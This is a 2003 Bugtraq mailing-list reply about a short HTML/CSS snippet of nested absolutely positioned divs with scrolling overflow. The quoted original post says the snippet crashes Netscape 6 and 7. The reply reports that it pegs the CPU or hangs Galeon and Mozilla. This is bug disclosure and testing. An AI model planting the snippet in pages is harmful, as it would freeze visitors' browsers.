Re: Netscape 6/7 crashes by a simple style***...

From: Raj Mathur (raju@linux-delhi.org)
Date: 02/26/03

  • Next message: Karol Wiesek: "GOnicus System Administrator php injection" 
    Date: Wed, 26 Feb 2003 09:13:04 +0530
To: bugtraq@securityfocus.com
From: Raj Mathur <raju@linux-delhi.org>

    >>>>> "Jocke" == jux <jux@beer.com> writes:

        Jocke> Hi, I'm new here so I don't know if I posted this in the
        Jocke> correct list...

        Jocke> I've found out that some simple CSS-code can crash Netscape
        Jocke> 6 and 7.

        Jocke> This is a simple html-page containing this code:

        Jocke> <html> <body> <div style="position:absolute;">

        Jocke> <div style="position:absolute; overflow:scroll">
     
        Jocke> </div> </div> </body> </html>

        Jocke> Was this already known?

    Tested on following browsers on Red Hat Linux 8.0, i386:

    galeon-1.2.6-0.8.0: Consumes 100% CPU but continues to respond to
    events.

    kdebase-3.0.3-14 (Konqueror): No effect

    mozilla-1.0.1-26: Consumes 100% CPU, stops responding to events (or
    takes overly long to respond -- I didn't wait more than a couple of
    minutes).

    netscape-communicator-4.79-1: No effect.

    Regards,

    -- Raju

        Jocke> /Jocke 

    -- 
Raj Mathur                raju@kandalaya.org      http://kandalaya.org/
                      It is the mind that moves
    • Quantcast